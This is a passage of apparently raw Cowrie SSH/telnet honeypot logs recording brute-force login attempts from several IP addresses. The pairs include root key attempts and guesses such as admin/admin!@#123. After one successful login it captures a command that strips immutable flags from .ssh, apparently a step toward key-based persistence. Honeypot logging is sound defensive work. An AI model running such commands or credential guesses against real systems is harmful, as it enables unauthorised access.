14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:14.981696Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEf7Ytuspc+EQgHyxFYuStaqxcYfXdJg3LZ19F1emtBmipbHj6Ac2uBP76l/7b2fKM8pOe/zjcrbvy4ZDOUQ7Ldn9AJEZaT+HvvcpFa7wPk0FNviZOJ10GdR65oPxzHKRDvvr4lUNtO8oI9FW17dpT/oLqNxbbSLjs10VhNRClqk/5uo92z3ZJt6/oX8t1YNBfeJVqS3ECay5dAJ+K0ZF2e2u/bISb4tfDdj1bdohffV3aaRrJxLKTkwro08EunCIGJJrrk2Jo85ttwBZumQb9VqbfYO5tVfCu4Sbho45WFEr4rumrdJ7AmQGqDUW3Q6CyjwekVIvbLJD5jkGbFuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.396900Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEf7Ytuspc+EQgHyxFYuStaqxcYfXdJg3LZ19F1emtBmipbHj6Ac2uBP76l/7b2fKM8pOe/zjcrbvy4ZDOUQ7Ldn9AJEZaT+HvvcpFa7wPk0FNviZOJ10GdR65oPxzHKRDvvr4lUNtO8oI9FW17dpT/oLqNxbbSLjs10VhNRClqk/5uo92z3ZJt6/oX8t1YNBfeJVqS3ECay5dAJ+K0ZF2e2u/bISb4tfDdj1bdohffV3aaRrJxLKTkwro08EunCIGJJrrk2Jo85ttwBZumQb9VqbfYO5tVfCu4Sbho45WFEr4rumrdJ7AmQGqDUW3Q6CyjwekVIvbLJD5jkGbFuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.401157Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv49/D4f3y2FBQZLbRuMJM0uFuTLJECOZqkjODT7I2MOgkR7Yj6EMoGzyQgAzdzmCIWqY1vVS/Ccp0UqvqeW3ebLxTnb2TKXT2Iz+0PCPqxX+SYZ/kU8xboCnZ+D8sqGgex7aRxO5QA1E4svdOJEdwjUaBENTKPj7BygukarqY3oi80wCyQRznxmKOIhazgVUMVFS3Z5T+uzxyb5XIXm72RM/BZ6tWlWSjJR16cFtf+/Pg7JT4ahBS2Z8ZzOBNbjumKN/8+KK97jzPq7vKS3opPYdBbXYADMQxMDAboSiV6fH2eZgtyNviLULL3MwQ44WbDqpmJlOuCfbmM0Fp7BlJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.493541Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv49/D4f3y2FBQZLbRuMJM0uFuTLJECOZqkjODT7I2MOgkR7Yj6EMoGzyQgAzdzmCIWqY1vVS/Ccp0UqvqeW3ebLxTnb2TKXT2Iz+0PCPqxX+SYZ/kU8xboCnZ+D8sqGgex7aRxO5QA1E4svdOJEdwjUaBENTKPj7BygukarqY3oi80wCyQRznxmKOIhazgVUMVFS3Z5T+uzxyb5XIXm72RM/BZ6tWlWSjJR16cFtf+/Pg7JT4ahBS2Z8ZzOBNbjumKN/8+KK97jzPq7vKS3opPYdBbXYADMQxMDAboSiV6fH2eZgtyNviLULL3MwQ44WbDqpmJlOuCfbmM0Fp7BlJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.501592Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+S60BBCwD4yirJUqSkBPLlKyKlOBV3zyEMlBUhuXGT2tXrMSYBaANLXNTYnUxQZh5u064NPFd2bYWm0tHw1EYZHfT7D8BBmGODUHTYmX655zqqKwrzashMom6YSq3DH4YndmI+6DxV3fbs7yDjtTQ40v4Mbj6KKTRdIBf6okMOBpToSR2S6gYxNgLnxWqv9ABLhI1PBtG+uBeFdajnmeelQIVP1G8Gl81gJgKKZN4gqICc8Nc2NdyAXaf/zpSyMI2+2MuhhY6XljbCc2j67jtVrxA8fU1MMpdyEtxFutLA1thQbj3SV2GJfqJMyE2fh909av7q/xfCT2sYiNJATyx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.590608Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+S60BBCwD4yirJUqSkBPLlKyKlOBV3zyEMlBUhuXGT2tXrMSYBaANLXNTYnUxQZh5u064NPFd2bYWm0tHw1EYZHfT7D8BBmGODUHTYmX655zqqKwrzashMom6YSq3DH4YndmI+6DxV3fbs7yDjtTQ40v4Mbj6KKTRdIBf6okMOBpToSR2S6gYxNgLnxWqv9ABLhI1PBtG+uBeFdajnmeelQIVP1G8Gl81gJgKKZN4gqICc8Nc2NdyAXaf/zpSyMI2+2MuhhY6XljbCc2j67jtVrxA8fU1MMpdyEtxFutLA1thQbj3SV2GJfqJMyE2fh909av7q/xfCT2sYiNJATyx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.594659Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpfrJze5ydEuMc4gtfpNh5QnHVYl/nV244zCLWPADyCJTwRsAXCWysCQgoLk7GvtuVU0z7elKkLwJjVsjw7EhPsj5+7kTqexrditdCU06ldGEN4djVHsksMbc45rJ/dAyAjSUivt5aimCzU60TNgtp09vWDttpM9hNwv6/QUKzQYgvMDuGkPIEVk3gMt0xrAaJdcRItpZTOpT63+3DnY7GBLkegh4yzK2tjVbkODZgReFd/8GpFl0tC/9CDhlqno6a/1bJZM+jE81O+2JT20lR/zsc6ZznsacFZnmAQ6/4b60zQAygPiq4UinIjx5T8qyVWgggKL0a/IXXPt7hBBN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.683461Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpfrJze5ydEuMc4gtfpNh5QnHVYl/nV244zCLWPADyCJTwRsAXCWysCQgoLk7GvtuVU0z7elKkLwJjVsjw7EhPsj5+7kTqexrditdCU06ldGEN4djVHsksMbc45rJ/dAyAjSUivt5aimCzU60TNgtp09vWDttpM9hNwv6/QUKzQYgvMDuGkPIEVk3gMt0xrAaJdcRItpZTOpT63+3DnY7GBLkegh4yzK2tjVbkODZgReFd/8GpFl0tC/9CDhlqno6a/1bJZM+jE81O+2JT20lR/zsc6ZznsacFZnmAQ6/4b60zQAygPiq4UinIjx5T8qyVWgggKL0a/IXXPt7hBBN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.687949Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQvLVHI0F8oTFUzGnpdf1TS6QvWwpSBB47nFNhOYiLY7cAXXA7P6+CBIjdRQAnwlkhWdGstsCZeEOgThlt5rnyFYDAXA0dWY3AOHWQDuA/xo2OatEHHULOCyAKr0//mRm6N+LxyJPhvrsIo/tk95pPT/lk1Gs6XMOBP5VMraGNKb02BoU65LlJz8vcrZB+kSS22rs+XfNt02i++1JjbGDJopp+Qw73EHZctxMzDYsojWF3M2LlVXdgbwIkrReSsnSkKoTGl7SW52eAxUs5F+onV/qY/x5Mo4vuPB1vqzFiVPzSNXHtkXYzAicJVKTqMBz7MaPBaRMAziwEhuaENqQ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.777139Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:47:96:0b:5f:54:30:bb:01:b0:d4:ff:de:07:5e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQvLVHI0F8oTFUzGnpdf1TS6QvWwpSBB47nFNhOYiLY7cAXXA7P6+CBIjdRQAnwlkhWdGstsCZeEOgThlt5rnyFYDAXA0dWY3AOHWQDuA/xo2OatEHHULOCyAKr0//mRm6N+LxyJPhvrsIo/tk95pPT/lk1Gs6XMOBP5VMraGNKb02BoU65LlJz8vcrZB+kSS22rs+XfNt02i++1JjbGDJopp+Qw73EHZctxMzDYsojWF3M2LlVXdgbwIkrReSsnSkKoTGl7SW52eAxUs5F+onV/qY/x5Mo4vuPB1vqzFiVPzSNXHtkXYzAicJVKTqMBz7MaPBaRMAziwEhuaENqQ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.782232Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:15.872443Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6661,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f09ff810cd","protocol":"ssh","message":"New connection: 131.161.219.137:6661 (159.203.135.109:22) [session: 95f09ff810cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:31.396935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:31.401521Z","src_ip":"131.161.219.137","session":"95f09ff810cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:31.530276Z","src_ip":"131.161.219.137","session":"95f09ff810cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234567","message":"login attempt [user3/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:32.074543Z","src_ip":"131.161.219.137","session":"95f09ff810cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:33.212289Z","src_ip":"131.161.219.137","session":"95f09ff810cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":41472,"dst_ip":"10.17.0.5","dst_port":22,"session":"76af9f3aa619","protocol":"ssh","message":"New connection: 101.36.106.162:41472 (10.17.0.5:22) [session: 76af9f3aa619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:36.963773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:36.969898Z","src_ip":"101.36.106.162","session":"76af9f3aa619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:37.184294Z","src_ip":"101.36.106.162","session":"76af9f3aa619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd123","message":"login attempt [user/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:38.071564Z","src_ip":"101.36.106.162","session":"76af9f3aa619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:39.288680Z","src_ip":"101.36.106.162","session":"76af9f3aa619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":41260,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b47e2bf0e5b","protocol":"ssh","message":"New connection: 103.125.103.201:41260 (10.17.0.5:22) [session: 1b47e2bf0e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:47.140809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:47.145694Z","src_ip":"103.125.103.201","session":"1b47e2bf0e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe0761c28ae","protocol":"telnet","message":"New connection: 135.148.33.91:45342 (159.203.135.109:23) [session: 2fe0761c28ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:47.360917Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:47.387249Z","src_ip":"103.125.103.201","session":"1b47e2bf0e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian","message":"login attempt [ubuntu/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:48.379395Z","src_ip":"103.125.103.201","session":"1b47e2bf0e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:49.622156Z","src_ip":"103.125.103.201","session":"1b47e2bf0e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":51886,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb207c473c39","protocol":"ssh","message":"New connection: 181.97.227.163:51886 (10.17.0.5:22) [session: fb207c473c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:53.809181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:53.815979Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:54.021384Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@#123","message":"login attempt [admin/admin!@#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:54.847626Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:55.327786Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:55.333181Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:55.339159Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:55.553411Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.018747Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
